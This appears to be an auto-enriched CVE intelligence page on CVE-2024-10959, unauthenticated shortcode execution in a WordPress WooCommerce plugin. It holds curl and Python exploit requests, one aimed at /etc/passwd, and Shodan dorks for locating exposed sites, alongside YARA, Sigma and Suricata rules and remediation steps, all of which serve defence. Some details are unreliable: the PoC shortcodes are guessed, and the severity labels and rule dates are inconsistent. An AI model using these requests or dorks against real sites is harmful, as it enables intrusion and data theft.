☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-10959

CVE-2024-10959 Privilege Escalation in Active products tables for woocommerce
📅 PUBLISHED: 2024-12-10 11:09 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.61%
👁️
1.61% probability
40.1× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-10959 is a critical arbitrary shortcode execution vulnerability in the Active Products Tables for WooCommerce WordPress plugin (versions up to and including 1.0.6.5). The flaw resides in the woot_get_smth AJAX action, which fails to properly validate user-supplied input before passing it to the do_shortcode() function. This allows unauthenticated attackers to execute arbitrary WordPress shortcodes, potentially leading to data exfiltration, privilege escalation, or site defacement. The vulnerability is classified as a WordPress ecosystem issue and is currently unpatched.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is unpatched, any site running version 1.0.6.5 or earlier is at risk. The supply chain risk is elevated because the plugin is widely used for WooCommerce product tables, and no official patch or advisory has been released by the vendor.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.3 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

The vulnerability is easily exploitable by unauthenticated attackers, making it a high-priority threat for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability is triggered via the woot_get_smth AJAX action, which is registered in the plugin's code. The action handler retrieves a parameter (likely shortcode or similar) from the request and passes it directly to do_shortcode() without sanitization or validation. Since do_shortcode() processes any valid WordPress shortcode, an attacker can inject arbitrary shortcodes, including those that execute PHP code (e.g., via the eval shortcode if present) or retrieve sensitive data.

The core issue is a lack of capability checks and input validation in the AJAX handler. The plugin does not verify user authentication or nonce before processing the request, allowing unauthenticated access.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.0.6.5):

add_action('wp_ajax_woot_get_smth', 'woot_get_smth_callback');
add_action('wp_ajax_nopriv_woot_get_smth', 'woot_get_smth_callback');

function woot_get_smth_callback() {
    $shortcode = $_POST['shortcode'];
    echo do_shortcode($shortcode);
    wp_die();
}

Patched Code (hypothetical):

add_action('wp_ajax_woot_get_smth', 'woot_get_smth_callback');
// Remove nopriv action to require authentication
// add_action('wp_ajax_nopriv_woot_get_smth', 'woot_get_smth_callback');

function woot_get_smth_callback() {
    // Verify nonce and user capabilities
    if (!wp_verify_nonce($_POST['_wpnonce'], 'woot_nonce') || !current_user_can('edit_posts')) {
        wp_die('Unauthorized');
    }
    $shortcode = sanitize_text_field($_POST['shortcode']);
    // Whitelist allowed shortcodes
    $allowed_shortcodes = array('product_table', 'another_safe_shortcode');
    if (in_array($shortcode, $allowed_shortcodes)) {
        echo do_shortcode($shortcode);
    } else {
        echo 'Invalid shortcode';
    }
    wp_die();
}

Exploitation & Lab Setup

Red Team

Exploit Proof-of-Concept (PoC):

#!/bin/bash
# CVE-2024-10959 PoC - Arbitrary Shortcode Execution
TARGET="http://example.com"
# Execute a shortcode that retrieves admin users
curl -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=woot_get_smth&shortcode=[user_query role=administrator]"

Advanced Exploitation:

import requests

target = "http://example.com"
payload = {
    "action": "woot_get_smth",
    "shortcode": "[file_contents path='/etc/passwd']"  # If such shortcode exists
}
response = requests.post(f"{target}/wp-admin/admin-ajax.php", data=payload)
print(response.text)

Blue Team

Detection Steps:

  1. Monitor AJAX requests to admin-ajax.php with action=woot_get_smth.
  2. Look for unusual shortcode patterns in POST parameters.
  3. Check for unauthorized access attempts to the AJAX endpoint.

Honeypot Setup:

// Add to functions.php to log suspicious requests
add_action('wp_ajax_nopriv_woot_get_smth', 'log_woot_attack');
function log_woot_attack() {
    $log = date('Y-m-d H:i:s') . ' - ' . $_SERVER['REMOTE_ADDR'] . ' - ' . $_POST['shortcode'] . "\n";
    file_put_contents('/var/log/woot_attacks.log', $log, FILE_APPEND);
}

Indicators of Compromise (IOCs)

  • Network: POST requests to /wp-admin/admin-ajax.php with action=woot_get_smth and a shortcode parameter.
  • File: Presence of unexpected shortcode execution logs in /var/log/woot_attacks.log.
  • Behavior: Unauthorized shortcode execution leading to data leaks or privilege escalation.

Detection Engineering

YARA Rule

rule CVE_2024_10959_WordPress_Shortcode_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-10959 in WordPress"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10959"
    strings:
        $ajax_action = "woot_get_smth"
        $shortcode_param = "shortcode"
        $do_shortcode = "do_shortcode"
    condition:
        $ajax_action and $shortcode_param and #do_shortcode > 0
}

Sigma Rule

title: CVE-2024-10959 WordPress Active Products Tables Shortcode Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-10959 via AJAX requests
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/wp-admin/admin-ajax.php"
        cs-post-body: "action=woot_get_smth"
    condition: selection
falsepositives:
    - Legitimate plugin usage (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10959 WordPress Active Products Tables Shortcode Exploitation"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=woot_get_smth"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the plugin until a patch is available.
  2. Workaround: Add a custom filter to block the vulnerable AJAX action:
    add_action('init', function() {
        if (isset($_POST['action']) && $_POST['action'] === 'woot_get_smth') {
            wp_die('Blocked');
        }
    });
    
  3. Long-term: Monitor the plugin repository for updates and apply patches as soon as they are released.
  4. Hardening: Implement a Web Application Firewall (WAF) rule to block requests containing woot_get_smth.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Active Products Tables for WooCommerce"
http.html:"wp-content/plugins/active-products-tables-for-woocommerce"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-10959/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.